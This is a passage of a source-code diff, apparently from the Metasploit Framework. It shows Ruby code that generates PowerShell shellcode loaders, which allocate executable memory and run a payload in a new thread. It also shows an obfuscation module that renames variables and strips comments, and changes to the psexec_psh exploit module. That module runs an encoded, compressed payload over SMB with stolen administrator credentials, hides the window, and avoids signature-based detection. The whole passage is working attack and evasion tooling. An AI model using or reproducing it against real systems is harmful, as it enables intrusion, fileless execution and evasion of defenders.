ExecuteReadWrite = 0x40 }\r\n" + psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n" + psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n" + psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n" + psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n" + psh << "} }\r\n" + psh << "\"@\r\n\r\n" + # Creat the compiler and set options for in-memory compile + psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n" + psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n" + psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n" + psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n" + psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n" + # Generate our payload byte array + # My apologies to the formatting gods, but this type of payload + # is space constrained by cmd.exe's character limit. + # The usual convention for col-width in the payload variable is untenable here + psh << "[Byte[]]$#{var_code} = #{Rex::Text.to_hex(code).gsub('\x',',0x')[1..-1]}\r\n" + psh << "$#{var_baseaddr} = [#{var_kernel32}.#{var_function}]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.#{var_function}+AllocationType]::Reserve -bOr [#{var_kernel32}.#{var_function}+AllocationType]::Commit, [#{var_kernel32}.#{var_function}+MemoryProtection]::ExecuteReadWrite)\r\n" + psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n" + psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n" + psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.#{var_function}]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n" + psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n" + psh << "$#{var_temp} = [#{var_kernel32}.#{var_function}]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.#{var_function}+Time]::Infinite) | Out-Null\r\n" + end + + def self.to_win32pe_psh(framework, code, opts={}) + + var_code = Rex::Text.rand_text_alpha(rand(3)+2) + var_win32_func = Rex::Text.rand_text_alpha(rand(3)+2) + var_payload = Rex::Text.rand_text_alpha(rand(3)+2) + var_size = Rex::Text.rand_text_alpha(rand(3)+2) + var_rwx = Rex::Text.rand_text_alpha(rand(3)+2) + var_iter = Rex::Text.rand_text_alpha(rand(3)+2) + + # Add wrapper script + psh = "$#{var_code} = @\"\r\n" + psh << "[DllImport(\"kernel32.dll\")]\r\n" + psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n" + psh << "[DllImport(\"kernel32.dll\")]\r\n" + psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n" + psh << "[DllImport(\"msvcrt.dll\")]\r\n" + psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n" + psh << "\"@\r\n" + psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n" + # Set up the payload string, see psh_net for formatting reason + psh << "[Byte[]]$#{var_code} = #{Rex::Text.to_hex(code).gsub('\x',',0x')[1..-1]}\r\n" + psh << "$#{var_size} = 0x1000\r\n" + psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n" + psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n" + psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n" + psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n" - hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code]) - return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?' + end + end + + # + # Extract block of code between inside brackets/parens + # + # Attempts to match the bracket at idx, handling nesting manually + # Once the balanced matching bracket is found, all script content + # between idx and the index of the matching bracket is returned + # + def block_extract(idx) + start = code[idx] + stop = match_start(start) + delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1]) + delims.map {|x| x[1] = x[1] + idx + 1} + c = 1 + sidx = nil + # Go through delims till we balance, get idx + while not c == 0 and x = delims.shift do + sidx = x[1] + x[0] == stop ? c -=1 : c+=1 + end + return code[idx..sidx] + end + + def get_func(func_name, delete = false) + start = code.index(func_name) + idx = code[start..-1].index('{') + start + func_txt = block_extract(idx) + code.delete(ftxt) if delete + return Function.new(func_name,func_txt) + end + end # Parser + + module Obfu + + # + # Create hash of string substitutions + # + def sub_map_generate(strings) + map = {} + strings.flatten.each do |str| + map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}" + # Ensure our variables are unique + while not map.values.uniq == map.values + map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}" + end + end + return map + end + + # + # Remove comments + # + def strip_comments + # Multi line + code.gsub!(/<#(.*?)#>/m,'') + # Single line + code.gsub!(/^#.*$|^\s+#.*$/,'') + end + + # + # Remove whitespace + # This can break some codes using inline .NET + # + def strip_whitespace + code.gsub!(/\s+/,' ') + end + + + # + # Identify variables and replace them + # + def sub_vars + # Get list of variables, remove reserved + vars = get_var_names + # Create map, sub key for val + sub_map_generate(vars).each do |var,sub| + code.gsub!(var,sub) + end + end + + # + # Identify function names and replace them + # + def sub_funcs + # Find out function names, make map + # Sub map keys for values + sub_map_generate(get_func_names).each do |var,sub| + code.gsub!(var,sub) + end + end + + # + # Perform standard substitutions + # + def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} ) + # Save us the trouble of breaking injected .NET and such + subs.delete('strip_whitespace') unless string_literals.empty? + # Run selected modifiers + subs.each do |modifier| + self.send(modifier) + end + code.gsub!(/^$|^\s+$/,'') + return code + end + + end # Obfu + + class Param + attr_accessor :klass, :name + def initialize(klass,name) + @klass = klass.strip.gsub(/\[|\]|\s/,'') + @name = name.strip.gsub(/\s|,/,'') + end + + def to_s + "[#{klass}]$#{name}" + end + end + + class Function + attr_accessor :code, :name, :params + + include Output + include Parser + include Obfu + + def initialize(name,code) + @name = name + @code = code + populate_params + end + def to_s + "function #{name} #{code}" + end + + def populate_params + @params = [] + start = code.index(/param\s+\(|param\(/im) + return unless start + # Get start of our block + idx = scan_with_index('(',code[start..-1]).first.last + start + pclause = block_extract(idx) + # Keep lines which declare a variable of some class + vars = pclause.split(/\n|;/).select {|e| e =~ /\]\$\w/} + vars.map! {|v| v.split('=',2).first}.map(&:strip) + # Ignore assignment, create params with class and variable names + vars.map {|e| e.split('$')}.each do |klass,name| + @params << Param.new(klass,name) + end + end + end + + class Script + attr_accessor :code + attr_reader :functions + + include Output + include Parser + include Obfu + # Pretend we are actually a string + extend Forwardable + # In case someone messes with String we delegate based on its instance methods + eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}| + + # def method_missing(meth, *args, &block) + # code.send(meth,*args,&block) || (raise NoMethodError.new, meth) + # end + + def initialize(code) + @code = '' + begin + # Open code file for reading + fd = ::File.new(code, 'rb') + while (line = fd.gets) + @code << line + end + + # Close open file + fd.close + rescue Errno::ENAMETOOLONG, Errno::ENOENT + # Treat code as a... code + @code = code.to_s.dup # in case we're eating another script + end + @functions = get_func_names.map {|f| get_func(f)} + end + + + ## + # Class methods + ## + + # + # Build a byte array to load into powershell code + # + def self.build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) + code = ::File.file?(input_data) ? ::File.read(input_data) : input_data + code = code.unpack('C*') + psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" + lines = [] + 1.upto(code.length-1) do |byte| + if(byte % 10 == 0) + lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" + else + lines.push ",0x#{code[byte].to_s(16)}" + end + end + psh << lines.join("") + "\r\n" + end + + def self.psp_funcs(dir) + scripts = Dir.glob(File.expand_path(dir) + '/**/*').select {|e| e =~ /ps1$|psm1$/} + functions = scripts.map {|s| puts s; Script.new(s).functions} + return functions.flatten + end + + # + # Return list of code modifier methods + # + def self.code_modifiers + self.instance_methods.select {|m| m =~ /^(strip|sub)/} + end + end # class Script + +end +end +end diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index 7ec0239b42b2a..fc963fdf6f897 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -23,15 +23,15 @@ def initialize(info = {}) 'Description' => %q{ This module uses a valid administrator username and password to execute a powershell payload using a similar technique to the "psexec" utility provided by SysInternals. The - payload is encoded in base64 and executed from the commandline using the -encodedcommand - flag. Using this method, the payload is never written to disk, and given that each payload - is unique, is less prone to signature based detection. Since executing shellcode in .NET - requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture - must match that of the payload. Lastly, a persist option is provided to execute the payload - in a while loop in order to maintain a form of persistence. In the event of a sandbox - observing PSH execution, a delay and other obfuscation may be added to avoid detection. + payload is obfuscated, gzip compressed, then encoded in base64 and executed from the commandline + using the -encodedcommand flag. Using this method, the payload is never written to disk, and + given that each payload is unique, is not very prone to signature based detection on the wire. + Since executing shellcode in .NET requires the use of system resources from unmanaged memory space, + the .NET (PSH) architecture must match that of the payload. Lastly, a persist option is provided + to execute the payload in a while loop in order to maintain a form of in-mem persistence. In the event + of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection. In order to avoid interactive process notifications for the current user, the psh payload has - been reduced in size and wrapped in a powershell invocation which hides the process entirely. + been reduced in size and wrapped in a powershell invocation which hides the window entirely. }, 'Author' => [ @@ -68,17 +68,22 @@ def initialize(info = {}) [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] ] )) + + register_options([ + OptBool.new('DryRun',[false,'dry run',false]), + ], self.class) end + def exploit command = cmd_psh_payload(payload.encoded) - - if datastore['PERSIST'] and not datastore['DisablePayloadHandler'] - print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.") + if datastore['DryRun'] + print_good command + return end - if datastore['RUN_WOW64'] and target_arch.first == "x86_64" - fail_with(Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled") + if datastore['PSH::RUN_WOW64'] and target_arch.first == "x86_64" + fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled") end # Try and authenticate with given credentials @@ -86,16 +91,18 @@ def exploit begin smb_login rescue StandardError => autherror + fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") + ensure disconnect - fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") end # Execute the powershell command print_status("#{peer} - Executing the payload...") begin return psexec(command) rescue StandardError => exec_command_error + fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") + ensure disconnect - fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") end end end